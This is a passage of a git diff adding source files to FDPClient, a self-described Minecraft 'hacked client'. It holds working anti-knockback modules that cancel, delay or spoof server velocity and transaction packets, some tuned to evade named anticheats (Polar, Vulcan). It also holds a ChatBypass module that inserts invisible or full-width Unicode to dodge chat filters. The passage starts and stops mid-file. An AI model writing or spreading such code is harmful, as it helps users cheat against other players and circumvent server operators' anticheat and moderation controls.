(!mc.thePlayer.onGround && phaseOnlyGroundValue.get()) { + return + } + + when(phaseMode.get().lowercase()) { + "normal" -> { + velocity.velocityInput = true + mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY - phaseHeightValue.get(), mc.thePlayer.posZ) + } + + "packet" -> { + if (packet.motionX <500 && packet.motionY <500) { + return + } + + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - phaseHeightValue.get(), mc.thePlayer.posZ, false)) + } + } + event.cancelEvent() + packet.motionX = 0 + packet.motionY = 0 + packet.motionZ = 0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/polar/PolarReduceVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/polar/PolarReduceVelocity.kt new file mode 100644 index 0000000..a8436c9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/polar/PolarReduceVelocity.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.polar + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.TickEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.script.api.global.Chat +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class PolarReduceVelocity : VelocityMode("PolarReduce") { + private var ms = 0 + private var ticks = 0 + private var start = false + override fun onDisable() { + ticks = 0 + ms = 0 + start = false + } + + @EventTarget + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S12PacketEntityVelocity && KillAura.currentTarget != null) { + if (packet.entityID == mc.thePlayer.entityId && !start) { + if (velocity.debug.get()) Chat.alert("Start = True") + start = true + ms = 0 + } + } + } + + @EventTarget + override fun onTick(event: TickEvent) { + if (mc.thePlayer != null && mc.theWorld != null) { + ms ++ + } + } + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + if (start) { + if (ticks >= 20) { + start = false + ticks = 0 + if (velocity.debug.get()) Chat.alert("Start = False") + } + if (mc.thePlayer.motionY <= -0.1) { + ticks ++ + if (ticks % 2 == 0) { + mc.thePlayer.motionY = -0.1 + if (velocity.debug.get()) Chat.alert("MotionY = -0.1") + mc.thePlayer.jumpMovementFactor = 0.0265f + } else { + mc.thePlayer.motionY = -0.16 + if (velocity.debug.get()) Chat.alert("MotionY = -0.16") + mc.thePlayer.jumpMovementFactor = 0.0265f + } + } else { + ticks = 0 + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/polar/PolarVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/polar/PolarVelocity.kt new file mode 100644 index 0000000..67e2e12 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/polar/PolarVelocity.kt @@ -0,0 +1,32 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.polar + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.script.api.global.Chat +import net.minecraft.client.entity.EntityPlayerSP +import net.minecraft.util.MovingObjectPosition.MovingObjectType + +class PolarVelocity : VelocityMode("Polar") { + private var attack = false + override fun onDisable() { + attack = false + } + + @EventTarget + override fun onUpdate(event: UpdateEvent) { + var var10000: EntityPlayerSP? + attack = mc.thePlayer.isSwingInProgress + if (mc.objectMouseOver.typeOfHit.equals(MovingObjectType.ENTITY) && mc.thePlayer.hurtTime > 0 && !attack) { + if (velocity.debug.get()) { + Chat.alert("Motion *= 0.45") + } + var10000 = mc.thePlayer + var10000.motionX *= 0.45 + var10000 = mc.thePlayer + var10000.motionZ *= 0.45 + mc.thePlayer.isSprinting = false + } + attack = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/reverse/ReverseVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/reverse/ReverseVelocity.kt new file mode 100644 index 0000000..df4125f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/reverse/ReverseVelocity.kt @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.reverse + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.MovementUtils + +class ReverseVelocity : VelocityMode("Reverse") { + private val reverseStrengthValue = FloatValue("ReverseStrength", 1F, 0.1F, 1F) + private val reverseTimeValue = IntegerValue("ReverseTime", 80, 10, 500) + private val reverseDelayValue = IntegerValue("ReverseDelay", 30, 0, 500) + + override fun onVelocity(event: UpdateEvent) { + if (!velocity.velocityInput) { + return + } + if (velocity.velocityTimer.hasTimePassed(reverseDelayValue.get().toLong())) { + MovementUtils.strafe(MovementUtils.getSpeed() * reverseStrengthValue.get()) + } + if (velocity.velocityTimer.hasTimePassed(reverseTimeValue.get().toLong())) { + velocity.velocityInput = false + } + } + + override fun onVelocityPacket(event: PacketEvent) { + velocity.velocityInput = true + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/reverse/SmoothReverseVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/reverse/SmoothReverseVelocity.kt new file mode 100644 index 0000000..6da9e64 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/reverse/SmoothReverseVelocity.kt @@ -0,0 +1,39 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.reverse + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.FloatValue + +class SmoothReverseVelocity : VelocityMode("SmoothReverse") { + private val smoothReverseStrengthValue = FloatValue("SmoothReverseStrength", 0.05F, 0.02F, 0.1F) + private var reverseHurt = false + + override fun onEnable() { + reverseHurt = false + } + + override fun onVelocityPacket(event: PacketEvent) { + velocity.velocityInput = true + } + + override fun onVelocity(event: UpdateEvent) { + if (!velocity.velocityInput) { + mc.thePlayer.speedInAir = 0.02F + return + } + + if (mc.thePlayer.hurtTime > 0) { + reverseHurt = true + } + + if (!mc.thePlayer.onGround) { + if (reverseHurt) { + mc.thePlayer.speedInAir = smoothReverseStrengthValue.get() + } + } else if (velocity.velocityTimer.hasTimePassed(80L)) { + velocity.velocityInput = false + reverseHurt = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/AttackReduceVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/AttackReduceVelocity.kt new file mode 100644 index 0000000..a08ff5e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/AttackReduceVelocity.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class AttackReduceVelocity : VelocityMode("AttackReduce") { + val reduceAmount = FloatValue("ReduceAmount", 0.8f, 0.3f, 1f) + + override fun onAttack(event: AttackEvent) { + if (mc.thePlayer.hurtTime < 3) + return + mc.thePlayer.motionX *= reduceAmount.get().toDouble() + mc.thePlayer.motionZ *= reduceAmount.get().toDouble() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/CancelVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/CancelVelocity.kt new file mode 100644 index 0000000..8ebd5c3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/CancelVelocity.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class CancelVelocity : VelocityMode("Cancel") { + val cancelHorizontal = BoolValue("CancelHorizontalVelocity", true) + val cancelVertical = BoolValue("CancelVerticalVelocity", true) + + override fun onVelocityPacket(event: PacketEvent) { + event.cancelEvent() + val packet = event.packet + if (packet is S12PacketEntityVelocity) { + if (!cancelVertical.get()) mc.thePlayer.motionY = packet.getMotionY().toDouble() / 8000.0 + if (!cancelHorizontal.get()) { + mc.thePlayer.motionX = packet.getMotionX().toDouble() / 8000.0 + mc.thePlayer.motionZ = packet.getMotionZ().toDouble() / 8000.0 + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/DelayedVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/DelayedVelocity.kt new file mode 100644 index 0000000..049a388 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/DelayedVelocity.kt @@ -0,0 +1,95 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.BlinkUtils +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.network.play.server.S32PacketConfirmTransaction +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayClient +import java.util.concurrent.LinkedBlockingQueue +import java.util.* +import kotlin.concurrent.schedule + +class DelayedVelocity : VelocityMode("Delayed") { + + private val delayValue = IntegerValue("Delayed-Delay", 300, 50, 1000) + private val blinkValue = BoolValue("Delayed-Blink", true) + private val blinkOutbound = BoolValue("Delayed-BlinkOutgoing", true).displayable { blinkValue.get() } + private val delayC0F = BoolValue("Delayed-DelayTransaction", true).displayable { !blinkValue.get() } + + private var blink = false + private var veloTick = 0 + + private val delayTimer = MSTimer() + private val packets = LinkedBlockingQueue<Packet<INetHandlerPlayClient>>() + + + override fun onEnable() { + packets.clear() + blink = false + } + + override fun onDisable() { + clearPackets() + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S12PacketEntityVelocity && packet.entityID == mc.thePlayer.entityId) { + if (blinkValue.get()) { + if (blinkOutbound.get()) { + BlinkUtils.setBlinkState(all = true) + } + blink = true + delayTimer.reset() + } else { + event.cancelEvent() + veloTick = mc.thePlayer.ticksExisted + packets.add(packet as Packet<INetHandlerPlayClient>) + queuePacket(delayValue.get().toLong()) + } + } + if (blink && blinkValue.get() && packet.javaClass.simpleName.startsWith("S", ignoreCase = true) && mc.thePlayer.ticksExisted > 10) { + event.cancelEvent() + packets.add(packet as Packet<INetHandlerPlayClient>) + } + + if (!blinkValue.get() && delayC0F.get()) { + if (packet is S32PacketConfirmTransaction && veloTick == mc.thePlayer.ticksExisted) { + event.cancelEvent() + packets.add(packet as Packet<INetHandlerPlayClient>) + queuePacket(delayValue.get().toLong()) + } + } + } + + override fun onUpdate(event: UpdateEvent) { + if (blink && blinkValue.get() && delayTimer.hasTimePassed(delayValue.get().toLong())) { + clearPackets() + blink = false + } + } + + private fun clearPackets() { + if (blinkValue.get()) { + while (!packets.isEmpty()) { + PacketUtils.handlePacket(packets.take() as Packet<INetHandlerPlayClient?>) + } + if (blinkOutbound.get()) { + BlinkUtils.setBlinkState(off = true, release = true) + } + } + } + + private /*suspend*/ fun queuePacket(delayTime: Long) { + Timer().schedule(delayTime) { + PacketUtils.handlePacket(packets.poll() as Packet<INetHandlerPlayClient?> ) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/GlitchVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/GlitchVelocity.kt new file mode 100644 index 0000000..ed71256 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/GlitchVelocity.kt @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode + +class GlitchVelocity : VelocityMode("Glitch") { + override fun onVelocity(event: UpdateEvent) { + mc.thePlayer.noClip = velocity.velocityInput + + if (mc.thePlayer.hurtTime == 7) { + mc.thePlayer.motionY = 0.41999998688698 + } + + velocity.velocityInput = false + } + + override fun onVelocityPacket(event: PacketEvent) { + if (!mc.thePlayer.onGround) { + return + } + + velocity.velocityInput = true + event.cancelEvent() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/JumpVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/JumpVelocity.kt new file mode 100644 index 0000000..d3fef0b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/JumpVelocity.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class JumpVelocity : VelocityMode("Jump") { + private val modeValue = ListValue("${valuePrefix}Mode", arrayOf("Motion", "Jump", "Both"), "Jump") + private val jumpReductionValue = BoolValue("${valuePrefix}ExtraReduction", false) + private val jumpReductionAmountValue = FloatValue("${valuePrefix}ExtraReductionAmount", 1f, 0.1f, 1f) + private val motionValue = FloatValue("${valuePrefix}Motion", 0.42f, 0.4f, 0.5f) + private val failValue = BoolValue("${valuePrefix}SmartFail", true) + private val failRateValue = FloatValue("${valuePrefix}FailRate", 0.3f, 0.0f, 1.0f).displayable { failValue.get() } + private val failJumpValue = FloatValue("${valuePrefix}FailJumpRate", 0.25f, 0.0f, 1.0f).displayable { failValue.get() } + + private var doJump = true + private var failJump = false + private var skipVeloc = false + + override fun onVelocity(event: UpdateEvent) { + if ((failJump || mc.thePlayer.hurtTime > 6) && mc.thePlayer.onGround) { + if (failJump) { + failJump = false + } + if (!doJump) { + skipVeloc = true + } + if (Math.random() <= failRateValue.get() && failValue.get()) { + if (Math.random() <= failJumpValue.get()) { + doJump = true + failJump = true + } else { + doJump = false + failJump = false + } + } else { + doJump = true + failJump = false + } + if (skipVeloc) { + skipVeloc = false + return + } + when(modeValue.get().lowercase()) { + "motion" -> mc.thePlayer.motionY = motionValue.get().toDouble() + "jump" -> mc.thePlayer.jump() + "both" -> { + mc.thePlayer.jump() + mc.thePlayer.motionY = motionValue.get().toDouble() + } + } + } + } + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity && jumpReductionValue.get()) { + packet.motionX = (packet.getMotionX() * jumpReductionAmountValue.get().toDouble()).toInt() + packet.motionZ = (packet.getMotionZ() * jumpReductionAmountValue.get().toDouble()).toInt() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SideStrafeVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SideStrafeVelocity.kt new file mode 100644 index 0000000..7529f6b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SideStrafeVelocity.kt @@ -0,0 +1,71 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.StrafeEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.minecraft.util.BlockPos +import net.minecraft.util.MathHelper +import kotlin.math.cos +import kotlin.math.sin + +class SideStrafeVelocity : VelocityMode("SideStrafe") { + private val legitStrafeValue = BoolValue("${valuePrefix}Strafe", false) + private val legitFaceValue = BoolValue("${valuePrefix}Face", true) + private var pos: BlockPos? = null + + override fun onEnable() { + pos = null + } + override fun onVelocityPacket(event: PacketEvent) { + pos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) + } + + override fun onStrafe(event: StrafeEvent) { + if ((velocity.onlyGroundValue.get() && !mc.thePlayer.onGround) || (velocity.onlyCombatValue.get() && !FDPClient.combatManager.inCombat)) { + return + } + if (pos == null || mc.thePlayer.hurtTime <= 0) { + return + } + + val rot = RotationUtils.getRotations(pos!!.x.toDouble(), pos!!.y.toDouble(), pos!!.z.toDouble()) + if (legitFaceValue.get()) { + RotationUtils.setTargetRotation(rot) + } + val yaw = rot.yaw + if (legitStrafeValue.get()) { + val speed = MovementUtils.getSpeed() + val yaw1 = Math.toRadians(yaw.toDouble()) + mc.thePlayer.motionX = -sin(yaw1) * speed + mc.thePlayer.motionZ = cos(yaw1) * speed + } else { + var strafe = event.strafe + var forward = event.forward + val friction = event.friction + + var f = strafe * strafe + forward * forward + + if (f >= 1.0E-4F) { + f = MathHelper.sqrt_float(f) + + if (f < 1.0F) { + f = 1.0F + } + + f = friction / f + strafe *= f + forward *= f + + val yawSin = MathHelper.sin((yaw * Math.PI / 180F).toFloat()) + val yawCos = MathHelper.cos((yaw * Math.PI / 180F).toFloat()) + + mc.thePlayer.motionX += strafe * yawCos - forward * yawSin + mc.thePlayer.motionZ += forward * yawCos + strafe * yawSin + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SimpleVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SimpleVelocity.kt new file mode 100644 index 0000000..9f1617b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SimpleVelocity.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.ccbluex.liquidbounce.utils.misc.RandomUtils + +class SimpleVelocity : VelocityMode("Simple") { + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + if(RandomUtils.nextInt(1,100) <= velocity.chanceValue.get()){ + val horizontal = velocity.horizontalValue.get() + val vertical = velocity.verticalValue.get() + + if (horizontal == 0F && vertical == 0F) { + event.cancelEvent() + return + } + + if (horizontal == 0F) { + mc.thePlayer.motionY = packet.getMotionY().toDouble() * vertical / 8000.0 + event.cancelEvent() + return + } + + packet.motionX = (packet.getMotionX() * horizontal).toInt() + packet.motionY = (packet.getMotionY() * vertical).toInt() + packet.motionZ = (packet.getMotionZ() * horizontal).toInt() + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SpoofVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SpoofVelocity.kt new file mode 100644 index 0000000..4f9db52 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/SpoofVelocity.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class SpoofVelocity : VelocityMode("Spoof") { + private val modifyTimerValue = BoolValue("ModifyTimer", true) + private val mtimerValue = FloatValue("Timer", 0.6F, 0.1F, 1F).displayable { modifyTimerValue.get() } + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + event.cancelEvent() + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + packet.motionX / 8000.0, mc.thePlayer.posY + packet.motionY / 8000.0, mc.thePlayer.posZ + packet.motionZ / 8000.0, false)) + if(modifyTimerValue.get()) { + mc.timer.timerSpeed = mtimerValue.get() + velocity.wasTimer = true + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/TickVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/TickVelocity.kt new file mode 100644 index 0000000..60dd6a1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vanilla/TickVelocity.kt @@ -0,0 +1,48 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vanilla + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class TickVelocity : VelocityMode("Tick") { + private val tickReductionValue = FloatValue("${valuePrefix}TickReductionAmount", 1f, 0f, 1f) + private val verticalValue = BoolValue("${valuePrefix}ResetMotionY", true) + private val bypassValue = BoolValue("${valuePrefix}TickBypass", true) + override fun onVelocity(event: UpdateEvent) { + if(velocity.velocityTick > velocity.velocityTickValue.get()) { + if(mc.thePlayer.motionY > 0 && verticalValue.get()) + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionX *= 1.0 - tickReductionValue.get().toDouble() + mc.thePlayer.motionZ *= 1.0 - tickReductionValue.get().toDouble() + if(bypassValue.get()) { + mc.thePlayer.jumpMovementFactor = -0.001f + }else { + mc.thePlayer.jumpMovementFactor = 0.0f + } + velocity.velocityInput = false + } + if(mc.thePlayer.onGround && velocity.velocityTick > 1) { + velocity.velocityInput = false + } + } + + override fun onVelocityPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S12PacketEntityVelocity) { + velocity.velocityInput = true + val horizontal = velocity.horizontalValue.get() + val vertical = velocity.verticalValue.get() + + if (horizontal == 0F && vertical == 0F) { + event.cancelEvent() + } + + packet.motionX = (packet.getMotionX() * horizontal).toInt() + packet.motionY = (packet.getMotionY() * vertical).toInt() + packet.motionZ = (packet.getMotionZ() * horizontal).toInt() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vulcan/VulcanVelocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vulcan/VulcanVelocity.kt new file mode 100644 index 0000000..45d002a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/velocitys/vulcan/VulcanVelocity.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.vulcan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S12PacketEntityVelocity + +class VulcanVelocity : VelocityMode("Vulcan") { + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0FPacketConfirmTransaction) { + val transUID = (packet.uid).toInt() + if (transUID >= -31767 && transUID <= -30769) { + event.cancelEvent() + } + } + } + + override fun onVelocityPacket(event: PacketEvent) { + event.cancelEvent() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/AntiDesync.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/AntiDesync.kt new file mode 100644 index 0000000..d5a5f6a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/AntiDesync.kt @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "AntiDesync", category = ModuleCategory.EXPLOIT) +object AntiDesync : Module() \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ChatBypass.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ChatBypass.kt new file mode 100644 index 0000000..2f14f2a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ChatBypass.kt @@ -0,0 +1,101 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.minecraft.network.play.client.C01PacketChatMessage + +@ModuleInfo(name = "ChatBypass", category = ModuleCategory.EXPLOIT) +object ChatBypass : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Null", "RandomChar", "Unicode", "RandomUnicode", "ToPinyin"), "Null") + private val chanceValue = FloatValue("Chance", 0.2F, 0F, 0.5F).displayable { !modeValue.equals("Unicode") } + private val pinyinFillValue = TextValue("Pinyin-Fill", " ").displayable { modeValue.equals("ToPinyin") } + private val minUnicodeValue: IntegerValue = object : IntegerValue("MinUnicode", 1000, 0, 100000) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (newValue >= maxUnicodeValue.get()) { + set(oldValue) + } + } + }.displayable { modeValue.contains("RandomChar") } as IntegerValue + private val maxUnicodeValue: IntegerValue = object : IntegerValue("MaxUnicode", 20000, 0, 100000) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (newValue <= minUnicodeValue.get()) { + set(oldValue) + } + } + }.displayable { modeValue.contains("RandomChar") } as IntegerValue + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is C01PacketChatMessage) { + val packet = event.packet + val message = packet.message + if (message.startsWith("/")) return + + when (modeValue.get().lowercase()) { + "topinyin" -> { + packet.message = StringUtils.toPinyin(packet.message, pinyinFillValue.get()) + } + else -> { + val sb = StringBuilder() + + for (char in message.toCharArray()) { + when (modeValue.get().lowercase()) { + "null" -> { + sb.append(char) + if (Math.random() < chanceValue.get()) { + sb.append("\uF8FF") + } + } + + "randomchar" -> { + sb.append(char) + if (Math.random() < chanceValue.get()) { + sb.append((RandomUtils.nextInt(minUnicodeValue.get(), maxUnicodeValue.get())).toChar()) + } + } + + "unicode" -> { + if (char.code in 33..128) { + sb.append(Character.toChars(char.code + 65248)) + } else { + sb.append(char) + } + } + + "randomunicode" -> { + if ((Math.random() < chanceValue.get()) && (char.code in 33..128)) { + sb.append(Character.toChars(char.code + 65248)) + } else { + sb.append(char) + } + } + } + } + + packet.message = sb.toString() + } + } + + if (packet.message.length > 100) { + packet.message = packet.message.substring(0, 100) + } + } + } + override val tag: String? + get() = modeValue.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt new file mode 100644 index 0000000..71ff372 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Damage.kt @@ 